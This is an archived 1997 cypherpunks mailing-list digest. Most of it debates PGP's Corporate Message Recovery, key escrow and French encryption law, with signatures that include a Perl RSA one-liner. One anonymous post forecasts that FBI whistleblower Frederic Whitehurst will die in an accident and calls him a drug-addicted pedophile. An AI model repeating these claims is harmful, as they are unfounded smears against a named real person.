   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Sun, 19 Oct 1997 13:51:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <3.0.2.32.19971018025454.03e23124@pop.sirius.com>
Message-ID: <19971019014419.47580@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Oct 18, 1997 at 08:53:14PM +0100, Adam Back wrote:
> 
> The situation in France is: currently (or recently) you could not use
> encryption at all without a license.  The enforcement rate is low to
> zero.  (Jerome Thorel interviewed the head of SCSSI (NSA equivalent),

I am not sure you can really say they are the NSA equivalent. I would
rather say they are the equivalent of, say, the office in the dpt of
commerce which gives the export authorizations in the US. What I mean is
that I doubt they are listening to anybody. Other french agencies do
that (and each agency, wether its depends on the police, like DST, RG,
or the army, DGSE, DSM, has its own group of people listening to anybody
they like). A normal police department could do it too, but then they
will need a warrant of some kind. None of the agencies above probably
bothers with things like that, as they will usually say "secret défense"
if they are asked questions (some french equivalent of "national
security").

> Now I understand the French have switched position: you can use
> encryption without a license *provided* that it has master key access
> for the government.

I would say people who wrote the current law 2 years ago didn't have a
clue on the technical issues, anyway. That's why we are still waiting
for the "decrets d'application", which are the set of rules on how the
law will be enforced. Somehow I would bet they are waiting to see where
the wind blow at the international level.

> With the pgp standard as is french government could insist that people
> use pgp5.x.  pgp5.x provides a reasonablly useful framework for the
> french government to adapt to be used as a master access system.

http://www.lemonde.fr/multimedia/sem4297/textes/act42972.html

It's in french, so I won't quote. The article has a very neutral
position, but they point out exactly the same thing as you.

> Because this will then be explicitly allowed, more people are likely
> to use it.  (Current people using pgp2.x illegally are one suspects

I know at least one academic site where system administrator were
prevented from switching to ssh because of the legal issue. Seems the
campus administration folks wanted to protect their asses...

> If on the other hand pgp5.x were to use only single recipients for
> confidentiality, and to base company recovery of encrypted mail
> folders on key recovery information stored locally alongside the
> mailbox the system would be less useful to the french government.

I don't have the technical expertise to discuss your proposal, so I
won't (seems less snoop friendly to me than the PGP5.5 solution,
still). But what I certainly fail to understand is why PGP inc (and
people who support them) is focusing on a solution which allows to
intercept and read e-mail in transit. That inherently evil, no matter
you put it. And the "hit by a truck" hypothesis doesn't stand a minute
in real life (Yah, shit happens, so what ?). The (legitimate) needs of a
company can be achieved via an agreement with its employees, on how data
are stored, backed, duplicated, whatever, and it has merely nothing to
do with cryptography. Or am I missing something obvious ?
And as far as the "legitimate needs of the law enforcement agencies",
well, if they want to read e-mail sent by an employee from his company
account because he is a potential drug dealer, they can obtain the
proper authorization from the court and snoop on the guy from within the
company. As usual, the weakest link is the guy typing on his keyboard,
as I doubt anybody speaks IDEA fluently...(even rot13 I am
skeptical. Crime organizations in Paris at the beginning of the century
were using "Javanais", which was a very basic code, but sufficient to
confuse the police)
So why isn't everybody focusing on being sure the transport layer is
secure, and leave to social interaction at both end of the communication
process the problem of recovery of whatever was transmitted ? (which, I
feel dumb for saying it, was in clear at some point before being sent,
and will be when it will be read...)

> Second party access to stored data is much less scary.  Little brother
> can ultimately read _everything_ you do at work.  If he gets
> suspicious he can install keyboard logger, keyboard password sniffer,
> or concealed videocam whilst you are out of the office.  The best we
> can do is discourage little brother from abusing systems designed for
> data recovery as mass communications snooping.  The best suggestion I
> have seen for this so far was Bill Stewart's suggestion to only store
> recovery info for some of the bits.  Make the recovery process
> artificially slow: say 40 bits.  Worth it for recovering main
> developers design notes made in email when he dies unexpectedly.  Some
> hinderance to little brother unless he is determined.  As long as this
> hinderance is similar scale to other similar things little brother
> could do to check up on suspicious user, you have achieved your goal
> of hindering little brother.

Sounds fair to me.

> Big brother is hindered very significantly if you do recovery locally,
> rather than on the communications link as PGP Inc CMR does.  This is
> because big brother does not have access to the ciphertext on disks.
> He must come and take them.  Whereas for communications he can

And he needs proper authorization before coming. And yes, it takes time
but that's the price to pay in a system with separation of powers.

> For data storage recovery, your data is again in two halves: you have
> one, the _key_, your employee/you have the other, the _ciphertext_ on
> disk.  Your employee can recover that info anyway.  The NSA can't
> easily.  It is much more logistically expensive to collect or randomly
> sample disk contents.

Yes, yes, yes. And still I am sure that we will hear objections to
that... sigh....

                        F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 19 Oct 1997 10:45:34 +0800
To: cypherpunks@toad.com
Subject: Underground Reptilian Nazis Infiltrate FBI
Message-ID: <NOrw+LbWhLthnWkMOnkOAA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
>    CNN logo
>    Pathfinder/Warner Bros
>                  FBI HIRES NUCLEAR PHYSICIST TO HEAD CRIME LAB
>      Web posted at: 2:27 p.m. EDT (1827 GMT)
>      From Correspondent Terry Frieden
> 
>      WASHINGTON (CNN) -- The FBI hired the former head of a government
>      nuclear weapons laboratory to direct its troubled crime lab, even
>      though he has no background in forensic science.
...
>      the man chosen for the post is Donald M. Kerr Jr., 58, a
>      physicist-engineer who from 1979 to 1985 headed the government's Los
>      Alamos National Laboratory, where nuclear weapons are designed.

Of course, this comes as no surprise to those who follow the 'Chronicles
of InfoWar,' since we have long been aware that the secret government 
long ago declared 'information' to be 'munitions.'
How long until we hear the official announcement that *all* information
will need to be 'registered,' in the interests of National Security, and
to protect the citizens from the 2,000,000 Horses of the Apocalypse?
(Including, no doubt, terroists with 'suitcases' full of 'information.')

>      "It just seems dumbfounding and implausible that they would not hire
>      a world-class forensic scientist to take over the crime lab," center
>      Director Stephen Kohn said.
> 
>      The selection also was criticized by the National Association of
>      Criminal Defense Lawyers.
> 
>      "Once again, the FBI has dealt with Congress and the public with
>      incredible arrogance," said the group's vice president, William
>      Moffitt.

  Is this supposed to come as a 'surprise'?

>      Kris Kolesnik, senior counselor to Sen. Charles Grassley, R-Iowa,
>      one of the harshest critics of the FBI, said Kerr's work at Los
>      Alamos and more recently for a major defense contractor make him a
>      "real government insider."

  His experience and track-record also make him a perfect choice for
revitalizing the FBI's ability to cover up their mistakes, keeping
their dirty little secrets out of the hands of the public.

>      Meanwhile, another flap over the crime lab erupted Friday when chief
>      lab whistleblower Frederic Whitehurst said that in examining FBI lab
>      reports recently released under the Freedom of Information Act, he
>      found that five more FBI examiners had altered lab reports.
> 
>      "In the last week, I have found five more people that have been
>      altering cases -- five more that the inspector general didn't find,"
>      Whitehurst said.

  Whitehust, who will die in a tragic car-accident later this year,
will soon be exposed as a drug-addicted, godless-commie pedophile.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sun, 19 Oct 1997 10:15:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is PGP still private?
Message-ID: <199710190155.DAA10077@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Your reencryption scheme fails because of the management of the short
> term encryption keys, among other things.

Wait a minute.  Didn't Adam abandon the reencryption idea and switch to
key escrow?  Or did that one turn out to be a non-starter too?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 19 Oct 1997 11:53:57 +0800
To: cypherpunks@toad.com
Subject: More Government Bullshit
Message-ID: <199710190331.FAA22847@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From News of the Weird:

* In July, the Nova Scotia Gaming Control Commission formally
banned the popular charity fundraiser, "cow-patty bingo," in which
a promoter marks a field into squares, takes bets, and then releases
a recently-fed cow to "select" a winning square.  The Commission
believed the game could be rigged by training a cow to use a
particular spot in the field.  The next day, incoming Nova Scotia
Premier Russell MacLellan said the ban could be ignored.  That
same week, the district attorney's office in Santa Clara County 
announced that a similar fundraiser for the imminent Gilroy, Calif.,
garlic festival, based on the famous Clydesdale horses' two-mile
march through town, could not be held because it violated the state
gambling law.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 19 Oct 1997 12:00:49 +0800
To: cypherpunks@toad.com
Subject: The reason terrorists carry fly-swatters
Message-ID: <199710190331.FAA22872@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From News of the Weird:
* The San Jose Mercury News reported in March on some working
models of the Defense Department's tiny flying machines ("micro
air vehicles"), no larger than birds, including one helicopter that
could fit inside a peanut shell, that are suited for tasks such as
locating hostages in occupied buildings, sniffing out poisonous
chemicals, and finding enemy snipers.  Each micro air vehicle
carries cameras, sensors, transmitters, and antennas.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Warpy <warpy@sekurity.org>
Date: Sun, 19 Oct 1997 19:46:04 +0800
To: Nobuki Nakatuji <bd1011@hotmail.com>
Subject: Re: about MISTY encryption algorithm
In-Reply-To: <19971019035058.12956.qmail@hotmail.com>
Message-ID: <Pine.LNX.3.96.971019052822.13893B-100000@obscure.sekurity.org>
MIME-Version: 1.0
Content-Type: text/plain



Either release the full bloody source code, or shut the hell up. I'm sick
of hearing about bloody MISTY.

Warpy

---------------------------------------------------------------------
| http://www.sekurity.org/~warpy                                    |
| Key Fingerprint: 85 17 4A E3 0C C5 BB 24  36 22 BB A6 E8 41 D5 95 |
| Email: warpy@sekurity.org                                         |
---------------------------------------------------------------------

On Sat, 18 Oct 1997, Nobuki Nakatuji wrote:

> itsubishi Electric Corp. has developed new secret-key cryptosystem 
> MISTY1 and MISTY2, which are ciphers with
> 128-bit key and 64-bit data block. They are provably secure against 
> differential and linear cryptanalysis,
> and also fast on software implementations as well as on hardware 
> platforms. Using ciphers on wide-area
> networks requires a method to maintain security as long as its 
> encryption key (password commonly shared by a
> sender and a receiver) is kept secret, even if the mechanism of the 
> encryption is made public. However,
> possibilities of unauthorized access will increase when the encryption 
> mechanism is made public. In fact,
> several encryption algorithms, whose specifications were made public, 
> have been compelled to make
> specification changes, and to sacrifice their encryption speed in return 
> for an increased cipher strength to
> protect against recent decoding methods. This is why an encryption 
> system whose security against these
> decoding method is strictly evaluated at the design stage has become 
> necessary. Since announcing its linear
> cryptanalysis, Mitsubishi Electric has been making efforts to develop 
> encryption technology backed by
> adequate security. In January 1994, Mitsubishi Electric performed the 
> first successful experiment to decode
> the Data Encryption Standard (DES), an American standard commercial 
> encryption system, to quantitatively
> evaluate its strength using this linear cryptanalysis. Using this 
> evaluation technology, Mitsubishi Electric
> has developed an encryption algorithm that provides sufficient security 
> and achieves high speed encryption. 
> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Bromage <bromage@cs.mu.oz.au>
Date: Sun, 19 Oct 1997 05:32:40 +0800
To: kent@bywater.songbird.com (Kent Crispin)
Subject: Re: Is PGP still private?
In-Reply-To: <19971018092636.45297@bywater.songbird.com>
Message-ID: <199710182122.HAA24989@mundook.cs.mu.OZ.AU>
MIME-Version: 1.0
Content-Type: text/plain



G'day all.

Kent Crispin wrote:

> Your reencryption scheme fails because of the management of the short
> term encryption keys, among other things.  Here's another approach I
> will toss out, without thinking through:
> 
> How about formalizing superencryption, or tunneling? That is, treat
> CMR traffic as a transport medium for messages that are themselves
> already encrypted.  The "key" idea here is to allow layering of non
> CMR traffic over CMR traffic.  All the code for both is obviously
> already in PGP, with a little glue and perhaps some minor protocol
> mods...

If we start considering that, could I suggest making the system
_completely_ flexible?

The sort of things I'm thinking of include:  Allow any object to be
encrypted using conventional encryption (including conventional
encryption keys) or signed, allow any conventional encryption key to
be public-key encrypted or split, conjunction/disjunction of two
conventional keys, etc.

Disadvantages:

	- Greatly complicates the decryption process.  In particular,
	  decrypted streams must be fed back into PGP.

	- Difficult for an end-user to specify what combination of
	  features they want.

	- This working group would be around for years arguing about
	  details. :-)

Advantages:

	- Allows PGP to be used for lots of things that we haven't
	  thought of yet.

	- File format could be considerably simplified, if we could
	  scrap the old format.  (Unrealistic, but what the hell.)

Cheers,
Andrew Bromage





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Oct 1997 17:32:58 +0800
To: nobody@REPLAY.COM
Subject: Re: Is PGP still private?
In-Reply-To: <199710190155.DAA10077@basement.replay.com>
Message-ID: <199710190757.IAA00747@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> Kent Crispin <kent@songbird.com> writes:
> > Your reencryption scheme fails because of the management of the short
> > term encryption keys, among other things.
> 
> Wait a minute.  Didn't Adam abandon the reencryption idea and switch to
> key escrow?  

I didn't abandon it as such, but more recognised some dangers in a
system involving re-encryption and sending messages to backup servers
being twisted for government purposes.  But even re-encryption is more
resistant to GAK than PGP Inc's CMR.  The danger with re-encryption is
that the person the mail is being re-encrypted and sent to could be
changed to be the government.  However this presents more logistic
problems for the government than does the PGP Inc CMR method.

I switched to storage key recovery (not quite key escrow btw), because
I realised this was yet more resistant to being abused by governments.

The CDR (Corporate Data Recovery) proposal is that communications keys
would not be escrowed, and that messages would be only encrypted to
one key (the recipients key).  Those emails which were archived, and
which the user consider important could be encrypted with the
recovered key.  The recovery information would be stored locally and
the software would attempt were possible to make it difficult to move
the recovery information off the machine.

> Or did that one turn out to be a non-starter too?

No.  

I think it is practical.  I also think that it is more resistant to
government abuse (where the worst form of government abuse is mass
keyword scanning of all messages.)

I haven't seen anyone able to argue against these two claims.  I
encourage anyone who can see technical objections, or objections to
the claim that this design is more resistant to abuse to speak up.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Oct 1997 21:49:30 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: OUBAKAYAROU!! (fwd)
Message-ID: <199710191409.JAA04804@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 18 Oct 1997 23:02:36 -0700
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: Re: OUBAKAYAROU!! (fwd)

> At the time the list was created, and I subscribed to it,
> the announcement indicated that cypherpunks-j and cypherpunks-e
> were independent lists, rather than mirrors,

No, Bill, the cypherpunks-e list was announced by me and it was announced as
a *specific* member of the existing CDR started at my specific request. Only
the cypherpunks-j was ever announced as the indipendant list, which I
intended to change. I further sent out a note requesting feedback on
non-English traffic and it's acceptance on the existing CDR. I received
nothing but smart-ass replies so we decided not to gateway that traffic but
leave the cypherpunks-j traffic fully indipendantly. That lack of responce
is what motivated the cypherpunks-e list. It was nearly a week after the -j 
list that the -e came online because I had to work that weekend and the -j
operator was going to Australia.

> Well, for a while, -e was badly broken.  However, if the purpose
> of the list is to be yet another mirror, fine, getting list mirrors
> working is a trickier job than getting an independent list up and working.

It is still 'broken' in that the mailer software they use doesn't accept
submissions with blank subject: lines. As a consequence I get several
bounces a day, usualy from anonymous accounts, that I simply /dev/null.
Whether this is a bug or a feature is up to your own interpretation.

I am looking into putting something in place so that SSZ puts something
like:

Subject: [unknown subject]

on the traffic that is subject: blank since the -j and -e remailer software
can't have this behaviour turned off.

> Yeah; you've been getting flaked a lot lately.  I remember back
> in the old days having to get New Jersey Bell to deal with 
> bad data quality on my home voice line

About the only good thing I can say is that I got a $150 credit and the
phone bill is $70/month for the 3 analog lines so I get to ride free
dial-in's on SWBT's dollar for two months.

The ISDN seems to be relatively stable since turning in the trouble call and
doing the testing, which showed 100% reliability (right).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Oct 1997 17:36:43 +0800
To: fabrice@math.Princeton.EDU
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <19971019014419.47580@math.princeton.edu>
Message-ID: <199710190903.KAA00780@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fabrice Planchon <fabrice@math.Princeton.EDU> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > (Jerome Thorel interviewed the head of SCSSI (NSA equivalent),
> 
> [clarification of SCSSI functionality, and french government organisations 
> who would tap communications.]
> 
> > Now I understand the French have switched position: you can use
> > encryption without a license *provided* that it has master key access
> > for the government.
> 
> I would say people who wrote the current law 2 years ago didn't have a
> clue on the technical issues, anyway. That's why we are still waiting
> for the "decrets d'application", which are the set of rules on how the
> law will be enforced. Somehow I would bet they are waiting to see where
> the wind blow at the international level.

I talked to some people at CESG (Communications Electronics Security
Group) (they are part of GCHQ, UK NSA equivalent) in a business
setting.  It was they who said that France was changing position to
going over to "key escrow" or TTPs (Trusted Third Parties).  From
their point of view they seemed to view this as a good development,
because they could use France as an example of a progressive, socially
responsible government which the UK government should follow the
example of.  They were very happy with this because they could use it
in their arguments to attempt to persuade the UK government and
people.

Perhaps the CESG are exaggerating because they would like this to be
the case because it suits their argument.

But on the other hand, it seems likely that CESG have had talks with
DGSE and SCSSI and it seems probable this really is what these French
government organisations really are planning for.  Probably there are
opposing elements in the French government also.  But CESG/GCHQ are
vying for those elements which are in favour of "TTPs" to win.

You can see how each new government that takes the TTP or key escrow
stance allows the secret services and governments in other countries
to clamour for their countries to follow suit.

People can also see I hope how PGP Inc in influencing an
international standard (IETF OpenPGP) to include explicit support for
third party access to communications traffic is dangerous.  However
this is not the biggest danger, the biggest danger is that PGP Inc are
implementing software solutions (pgp5.5) which as far as I can see, in
all honesty, could literally be useful to the French government and
others like it.  If the French government adopt it, or a system
implemented by a European company with the same functionality (that
pgp5.5 has this functionality means others must follow for financial
reasons in being compatible), then pro-GAK government agencies will
point to this as a success story.  Already Bruce Schneier quoted from
the US congressional record where some GAKkers were praising pgp5.5
functionality in demonstrating their case that GAKware is possible.

> > With the pgp standard as is french government could insist that people
> > use pgp5.x.  pgp5.x provides a reasonablly useful framework for the
> > french government to adapt to be used as a master access system.
> 
> http://www.lemonde.fr/multimedia/sem4297/textes/act42972.html
> 
> It's in french, so I won't quote. The article has a very neutral
> position, but they point out exactly the same thing as you.

Do they actually mention PGP software, or OpenPGP standard?  Or just
the general principle?

It is reasurring to hear that my analysis is supported by others.  I
am trying to think through what a GAKker would want and predict what
they will be interested in seeing in standards and in off the shelf
products.  From that I am interested to use this estimate as a basis
to design systems which resist the GAKkers desires, by denying any
functionality which supports their requirements where this can be done
within the normal user requirement constraint.

It is difficult with arguments against a company such as PGP Inc which
has a very high reputation capital due to Phil Zimmermann and large
privacy following, because some people will oppose what you are saying
just on principle without listening to the logic, they will say "you
must be wrong, because PGP would never do that."

But, the simple fact is that I think PGP Inc have not evaluated these
indirect implications for GAK politics.  This means I think that they
have pure intentions.  Unfortunately these pure intentions do not help
us if the effect is as I fear: that the result helps the GAKkers to
some significant amount.

> > Because this will then be explicitly allowed, more people are likely
> > to use it.  (Current people using pgp2.x illegally are one suspects
> 
> I know at least one academic site where system administrator were
> prevented from switching to ssh because of the legal issue. Seems the
> campus administration folks wanted to protect their asses...

You confirm my suspicions.  I have several people I know in France who
use encryption illegally.  Not least of these is Jerome Thorel himself
:-) (He who interviewed the SCSSI and had it spelt out to him that it
was illegal, but they wouldn't bother you if you didn't ask
permission).  However those that I know are effectively anti-GAK
activists, or cypherpunk type individuals.

> I don't have the technical expertise to discuss your proposal, so I
> won't (seems less snoop friendly to me than the PGP5.5 solution,
> still). 

It is not really that technical an idea.  The idea is simply that
communications keys are more valuable to government than storage keys.
Keyword scanning is what governments want; they probably don't care
too much about storage keys, they are much more expensive to collect
ciphertext for (dawn raids for disks), and are much more difficult to
enforce (who knows what keys are really being used to encrypt data on
your disk, until the point of the dawn raid).

> But what I certainly fail to understand is why PGP inc (and people
> who support them) is focusing on a solution which allows to
> intercept and read e-mail in transit. That inherently evil, no
> matter you put it.

The reason is that they consider it purely a recovery mechanism for
stored emails.  That it has this side effect of making a product which
could be used for other purposes is currently considered an
insignificant risk by them, I think.  I think their analysis in this
regard is flawed.

> And the "hit by a truck" hypothesis doesn't stand a minute
> in real life (Yah, shit happens, so what ?). The (legitimate) needs of a
> company can be achieved via an agreement with its employees, on how data
> are stored, backed, duplicated, whatever, and it has merely nothing to
> do with cryptography. 

There you have the Tim May proposal.  Do not recover, just store in
clear.  Most data on disks already is, so why bother.  If you want to
encrypt work out those problems when you come to them, as a separable
issue.  This is a very compelling argument to me.

> Or am I missing something obvious ?

Not that I can see.  I think it really is that obvious.

> So why isn't everybody focusing on being sure the transport layer is
> secure, and leave to social interaction at both end of the communication
> process the problem of recovery of whatever was transmitted ? (which, I
> feel dumb for saying it, was in clear at some point before being sent,
> and will be when it will be read...)

I agree, my confusion also: why do people not understand this.  There
are some very bright people at PGP Inc, why do they not see it in
these terms.

> > Big brother is hindered very significantly if you do recovery locally,
> > rather than on the communications link as PGP Inc CMR does.  This is
> > because big brother does not have access to the ciphertext on disks.
> > He must come and take them.  Whereas for communications he can
> 
> And he needs proper authorization before coming. And yes, it takes time
> but that's the price to pay in a system with separation of powers.

He may not need authorization.  I'm not sure MI5 (UK military
intelligence branch) asked authorization before sending an SAS swat
team into BBC head-quarters to confiscate tapes of a secret service
documentary.  Still that one failed because the BBC had hidden backups
:-) (Smart cookies:-) They aired the film later.  No one knows I
suppose whether it was edited before airing.

Also this is the status quo.  Already the police, or terrorist
prevention investigators can inflitrate, perform dawn raids, etc. and
this is as it should be.

> > For data storage recovery, your data is again in two halves: you have
> > one, the _key_, your employee/you have the other, the _ciphertext_ on
> > disk.  Your employee can recover that info anyway.  The NSA can't
> > easily.  It is much more logistically expensive to collect or randomly
> > sample disk contents.
> 
> Yes, yes, yes. And still I am sure that we will hear objections to
> that... sigh....

I can't believe anyone who understands cryptography even remotely
could possibly argue against the fact that communications keys are
more valuable to an attacker.  This seems very obvious.

Readers may note Bruce Schneier's remark earlier in this discussion
that he too couldn't believe someone would not separate storage keys
from communications keys.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 20 Oct 1997 01:15:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: why we are arguing for more resistant variants (Re: Is PGP still private?)
In-Reply-To: <3449311A.1F0E@sk.sympatico.ca>
Message-ID: <19971019100620.06593@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 19, 1997 at 10:25:08AM +0100, Adam Back wrote:
> 
> Toto <toto@sk.sympatico.ca> writes:
> > Kent Crispin wrote:
> > > You keep talking as if your CDR proposal is other than vaporware.  So
> > > far as I have seen you don't have a proposal, you have a wish.
> > 
> >   Given Adam's many accomplishments in the arena of CypherPunks issues,
> > I find it hard to make a case for his discussion in this area to be
> > mere mental masturbation.
> 
> Thanks for the vote of confidence Toto.
> 
> Also I must raise the point that it is not a lone stand.  Other people
> are arguing against PGP Inc's CMR proposal, and are arguing for more
> GAK resistant variants, and alternatives.  

Apparently for some internal reason you must raise the point, but it
is irrelevant.  I said your *proposals* were vaporware, not your
motivations.  It is, as I have said, a waste of time (and yes, mental
masturbation) to argue about motivations. 

[. citations of famous cryptographers and Kent Crispin snipped .]

> However the biggest point of all is that: communications keys are more
> valuable to any attacker (government, unscrupulous little brother, or
> industrial spy) than storage keys.
> 
> I would be interested to see any one willing to burn their
> reputational capital refuting that simple point.

*Long term* communication keys.  Nobody is going to burn reputation
capital on that point because it's obvious, and really doesn't need to
be argued.  Furthermore the point applies just as well to current PGP
keys.  The *only* additional vulnerabilities of CMR come from 1) the 
volume of data makes it a more interesting target and 2) the 
management of the CMR key(s) may be problematic.  

However, in a large organization the management of *user* keys is
problematic, as well, and management of the CMR key(s), on balance,
will probably be better.  So the additional vulnerability of CMR comes
from the fact that it makes a lot of data accessible from one key. 
This vulnerability could be reduced by having multiple CMR keys -- the
accounting dept has one, the CEO has one, and it is the same as his
private key that is not escrowed anywhere, etc etc etc.

[Is it true that the private key associated with a CMR public key 
could simply be discarded, rather than escrowed, and everything would 
still work? -- except that you couldn't recover anything, of course...]

A more interesting argument is as follows: what is the real level of
security needed for the business communications that will be covered
by CMR? It seems obvious that the level of security required, on
average, is really quite low.  Note that businesses send all kinds of
important documents through regular mail, only protected *gasp* by
PAPER ENVELOPES. 

Anyway, Adam, I anxiously await the paper you are working on that 
gives the real details of your proposals.  I'm sure it's readability 
will be vastly improved if you religiously avoid the use of the word 
GAK :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Oct 1997 17:32:41 +0800
To: toto@sk.sympatico.ca
Subject: why we are arguing for more resistant variants (Re: Is PGP still private?)
In-Reply-To: <3449311A.1F0E@sk.sympatico.ca>
Message-ID: <199710190925.KAA00865@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Toto <toto@sk.sympatico.ca> writes:
> Kent Crispin wrote:
> > You keep talking as if your CDR proposal is other than vaporware.  So
> > far as I have seen you don't have a proposal, you have a wish.
> 
>   Given Adam's many accomplishments in the arena of CypherPunks issues,
> I find it hard to make a case for his discussion in this area to be
> mere mental masturbation.

Thanks for the vote of confidence Toto.

Also I must raise the point that it is not a lone stand.  Other people
are arguing against PGP Inc's CMR proposal, and are arguing for more
GAK resistant variants, and alternatives.  

Several amongst those who have so argued are higher reputation than
myself: Bruce Schneier, (plus some others with similar crypto
credentials I have asked for comments from off list which I can not
reveal due to ethics of email confidentiality).  I have some small
about of credibility myself I think also.

In addition I consider myself, Tim May, Peter Trei, Attila T Hun, and
the many others arguing for more resistant variants to have some
reputation, and it seems unlikely to me that we would all burn our
reputations over an insignifcant point.  We are collectively arguing
because (and I think the others will agree) we think that there are
more resistant variants than the CMR proposal used in pgp5.5.  These
variants are also practical within the constraints imposed by the
plug-in APIs, and user requirements PGP must work within, I believe.

Even Kent Crispin who seemed to dismiss the first round as an
insignificant difference, is offering more resistant variants.  PGP
Inc's Jon Callas together with cypherpunks Bill Stewart, Attila T Hun,
and myself were also arguing that even TLS (transport level security),
or in other words an extra encryption envelope over the recovery
information is an improvement.  (Particularly if you do as I argue for
and try to make the TLS keys user owned where possible, and try to
make the system as forward secrect as possible).

However the biggest point of all is that: communications keys are more
valuable to any attacker (government, unscrupulous little brother, or
industrial spy) than storage keys.

I would be interested to see any one willing to burn their
reputational capital refuting that simple point.

That point is the simple central starting point for all arguments
about the dangers of allowing recovery information to be transmitted
with the communication.  Recovery information should be local
whereever possible.  Bruce Schneier had harsh words to say about
violating this principle in one of his recent cypherpunks posts.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 20 Oct 1997 01:01:34 +0800
To: Fabrice Planchon <fabrice@math.Princeton.EDU>
Subject: Quantum Leaps in PGP
In-Reply-To: <3.0.2.32.19971018025454.03e23124@pop.sirius.com>
Message-ID: <344A3933.823@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Fabrice Planchon wrote:
> On Sat, Oct 18, 1997 at 08:53:14PM +0100, Adam Back wrote:
> > Now I understand the French have switched position: you can use
> > encryption without a license *provided* that it has master key access
> > for the government.
... 
> > With the pgp standard as is french government could insist that people
> > use pgp5.x.  pgp5.x provides a reasonablly useful framework for the
> > french government to adapt to be used as a master access system.

> http://www.lemonde.fr/multimedia/sem4297/textes/act42972.html
>
> It's in french, so I won't quote. The article has a very neutral
> position, but they point out exactly the same thing as you.

  From Privacy Protection for the Individual to the Government Choice
